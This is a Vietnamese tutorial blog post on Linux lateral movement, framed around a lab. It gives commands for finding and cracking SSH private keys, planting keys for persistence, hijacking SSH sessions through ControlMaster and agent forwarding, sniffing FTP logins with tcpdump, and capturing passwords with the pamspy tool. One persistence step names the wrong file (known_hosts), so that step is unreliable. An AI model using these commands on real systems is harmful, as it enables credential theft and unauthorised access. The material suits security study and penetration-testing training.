+10

Linux Lateral Movement - Leo "quyền ngang" trên Linux

1. Lateral Movement là gì ?

Bỏ qua các khái niệm phức tạp, ở đây mình đưa ra mô hình tấn công cơ bản như sau :

Theo đó , Hacker tấn công chiếm điều khiển vào Lab1 rồi từ đó tấn công lan sang Lab2 , Lab3. Quá trình tấn công từ Lab này sang Lab khác như vậy được gọi là Lateral Movement.

2. Lateral Movement with SSH

SSH là một giao thức mạng và đồng thời là tên bộ công cụ dùng để giao tiếp giữa các hệ thống được kết nối mạng với nhau. Đây là một phương pháp được sử dụng phổ biến nhất để giao tiếp giữa các máy chủ sử dụng Linux.

Có 2 phương thức xác thực phổ biến với SSH là thông qua mật khẩu và private_key. Nếu private_key được thiết lập thêm một lớp mật khẩu thì người dùng phải nhập mật khẩu này trước khi có thể kết nối được vào SSH.

SSH Keys

Private key là mục tiêu "ngon ăn" của Hacker nên thường có nhiều biện pháp bảo mật bổ sung. Thông thường nó được chmod với quyền 600. Trong Linux các key này thường được đặt tên dưới dạng id_rsa theo mặc định.

Khi tấn công được vào máy A , ta tiến hành tìm kiếm các tệp id_rsa này và đầy đủ các thông tin để kết nối với mục tiêu B (nếu có)

Đăng nhập vào máy Victim (trường hợp đã RCE thành công)

Tìm kiếm SSH Key tồn tại trên hệ thống

find /home/ -name "id_rsa"

Sử dụng đặc quyền root để tìm kiếm thêm

Xem chừng, đây sẽ là SSH Private Key sử dụng để đăng nhập lab khác , tuy nhiên ta chưa có thông tin gì để biết nó đăng nhập vào đâu ! Thử mở ra xem sao

SSH Key này được bảo vệ bởi một mật khẩu thứ cấp . Tiến hành crack nó bằng ssh2john

python /usr/share/john/ssh2john.py id_rsa > crack.txt

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt 

Đã tìm ra mật khẩu thứ cấp cho SSH Key thành công, giờ chúng ta tìm kiếm chỗ để đăng nhập

Tìm kiếm thông tin trong /etc/passwd ( Trường hợp SSH key ta tìm thấy phục vụ duy nhất cho mục đích xác thực máy chủ chúng ta đang sở hữu thì quá trình này vô nghĩa)

Ta nhớ ra rằng, mỗi khi chúng ta tiến hành đăng nhập lần đầu vào máy tính khác sử dụng SSH, đều có dòng thông báo như thế này

sau đó nội dung này sẽ được lưu lại ở .ssh/known_hosts . Giờ ta tiến hành đọc file này trên máy victim

Tìm kiếm thông tin trong .bash_history, theo dõi những command mà nạn nhân đã sử dụng

SSH Persistence

Ngoài việc đánh cắp SSH Private Key để tạo điều kiện truy cập vào các hệ thống khác, một chiến thuật hữu ích khác là chèn public_key của chúng ta vào ~/.ssh/authorized_keys của máy chủ. Tệp này chứa danh sách tất cả các public key được phép truy cập vào hệ thống thông qua tài khoản của người dùng.

Đơn giản là chúng ta sẽ tạo 1 public key, sau đó chèn public key đó vào hệ thống, để giúp ích cho những lần đăng nhập sau được thuận lợi

Tạo cặp Private Key và Public Key

ssh-keygen -t rsa -C kali

Thêm Public Key vào known_hosts của nạn nhân

Kết nối với nạn nhân

ssh kali@target.com -i id_rsa 

SSH Hijacking

Ở phần này, chúng ta sẽ đi qua một khái niệm khá mới mẻ SSH Hijacking. Kỹ thuật này đặc biệt hiệu quả cho Lateral Movement.

Ngữ cảnh ở đây là chúng ta sử dụng SSH Connection hiện có để truy cập vào một máy khác. Hai trong số các phương pháp SSH Hijacking phổ biến là sử dụng tính năng ControlMaster và SSH Agent.

SSH Hijacking with ControlMaster

ControlMaster là một tính năng cho phép chia sẻ nhiều SSH connection qua một kết nối mạng. Chức năng này được thiết lập trong SSH config file của nạn nhân

Chúng ta xem xét kịch bản sau:

Bước 1. SSH vào Linux Controller với user hoanguyen

Bước 2. Tạo ~/.ssh/config với nội dung sau

Host *
        ControlPath ~/.ssh/controlmaster/%r@%h:%p
        ControlMaster auto
        ControlPersist 10m
  • Dấu "*" đầu tiên thể hiện việc "listen" ở tất cả các máy chủ. Trong một số trường hợp, chúng ta có thể chỉ định một máy chủ cụ thể

  • ControlPath chỉ định việc lưu output session (PATH lưu vào + định dạng remoteusername @ <targethost>: <port>

  • ControlMaster = auto : thể hiện mọi connection sẽ sử dụng ControlMaster Socket khi có thể

  • ControlPersist có thể đặt thành yes hoặc một thời gian cụ thể. Nếu là yes, Socket sẽ được mở vô thời hạn. Ngoài ra nó sẽ chấp nhận các Socket mới trong một khoảng thời gian nhất định sau khi kết nối cuối cùng kết thúc

Nếu sử config file tại /etc/ssh/ssh_config để cấu hình ControlMaster , việc áp dụng sẽ ở mức toàn bộ hệ thống

Bước 3. Tạo thư mục sẽ lưu session & phân quyền lại SSH config

chmod 644 ~/.ssh/config
mkdir ~/.ssh/controlmaster

Khai Thác

Vậy sau khi cấu hình xong,nếu admin đăng nhập vào hệ thống, rồi dùng nó để SSH sang dịch vụ khác. Trên terminal của Hacker sẽ hiện ra session đó. Hacker có thể dùng session này để đăng nhập ( Đương nhiên là không cần authen gì nữa)

SSH Hijacking Using SSH-Agent and SSH Agent Forwarding

Chúng ta đã tìm hiểu xong cách thức chiếm quyền điều khiển SSH với ControlMaster, hãy chuyển sang một kỹ thuật khác. Phương pháp chiếm quyền điều khiển SSH thông qua SSH-AgentSSH Agent Forwarding.

SSH-Agent là một tiện ích theo dõi các private key của người dùng và cho phép sử dụng chúng mà không cần gõ lại mật khẩu với kết nối mới

Truy cập /etc/ssh/ssh_config tiến hành cấu hình SSH Agent Forwarding

ForwardAgent yes

Khởi động lại SSH Service

sudo /etc/init.d/ssh restart

Lúc này, bất cứ khi nào nạn nhân sử dụng máy chủ đã bị chiếm quyền điều khiển để SSH vào máy thứ 2 . Ta đều nhận được 1 "session" mà thông qua đó có thể đăng nhập mà không cần tài khoản

SSH_AUTH_SOCK=/tmp/ssh-XXXXXXlID30k/agent.1608 ssh user@victim

3. Lateral Movement with tcpdump

Trong trường hợp nơi chúng ta đang đứng là FTP Server, có thể sử dụng tcpdump để "ngửi" các lưu lượng gửi tới, từ đó lấy cắp được thông tin người dùng đăng nhập

Kiểm tra cấu hình mạng nạn nhân với ifconfig

Sử dụng tcpdump để theo dõi tất cả kết nối FTP tới, từ đó chiếm thông tin đăng nhập của nạn nhân

sudo tcpdump -i eth0 -A port ftp > ~/file.out```

4. Lateral Movement with Pamspy

Pamspy là một công cụ đặc biệt thú vị, nó được tạo ra với mục đích theo dõi thư viện PAM (Pluggable Authentication Modules) - một module chịu trách nhiệm xử lý xác thực trên Linux. Nó giám sát việc người dùng khác kết nối tới máy nạn nhân thông qua SSH , FTP , SMB đồng thời cũng theo dõi được việc thay đổi mật khẩu từ sudo và passwd.

Download công cụ từ github của dự án

wget https://github.com/citronneur/pamspy/releases/download/v0.2/pamspy 

Sử dụng Pamspy để giám sát thay đổi của PAM library

./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0

Trường hợp chúng ta chưa xác định chính xác vị trí libpam, ta có thể sử dụng câu lệnh sau

./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)

Hoặc muốn output ra một file để tiện theo dõi hoặc send về C&C

./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials

Pamspy "bắt" được mật khẩu khi người dùng từ nơi khác đăng nhập thông qua SSH

hay khi người dùng trên máy đổi mật khẩu

Tuy nhiên, quá trình sẽ thất bại nếu nạn nhân sử dụng private key để đăng nhập


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí